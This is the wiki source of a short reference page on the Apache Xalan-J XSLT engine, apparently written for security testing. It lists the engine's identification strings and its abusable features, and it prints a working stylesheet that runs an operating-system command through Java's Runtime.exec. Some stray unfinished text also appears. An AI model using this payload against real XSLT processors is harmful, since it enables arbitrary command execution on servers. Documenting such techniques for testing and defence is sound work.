Wiki source code of Engine_XalanJ

Version 4.1 by Nicolas Gregoire on 2012/01/05 00:58

Show last authors
1 [[Xalan-J>>http://xml.apache.org/xalan-j/||rel="__blank" title="Xalan-J Home Page"]] is a Java based XSLT engine by the Apache Project.
2
3
4 Supported XSLT version : 1.0
5
6
7 == Identification strings ==
8
9 | xsl:vendor-url|http:~/~/xml.apache.org/xalan-j
10 | xsl:vendor|Apache Software Foundation
11 | xsl:version|1.0
12
13 == Special features ==
14
15 * File creation
16 * Code execution
17 * JDBC connectivity
18 * Java properties
19 * CheckEnv()
20
21 == Java code execution ==
22
23 dcdcdd
24
25 <pre><?xml version="1.0"?>
26 <xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
27 xmlns:j="http:~/~/xml.apache.org/xalan/java"
28 exclude-result-prefixes="j"
29 version="1.0">
30 <xsl:template match="/">
31 <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
32 <xsl:variable name="a" select="j:split($c, ' = ')"/>
33 <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
34 <xsl:variable name="p" select="j:exec($r, $a )"/>
35 No content at the moment ...
36 </xsl:template>
37 </xsl:stylesheet></pre>
38
39 Saxon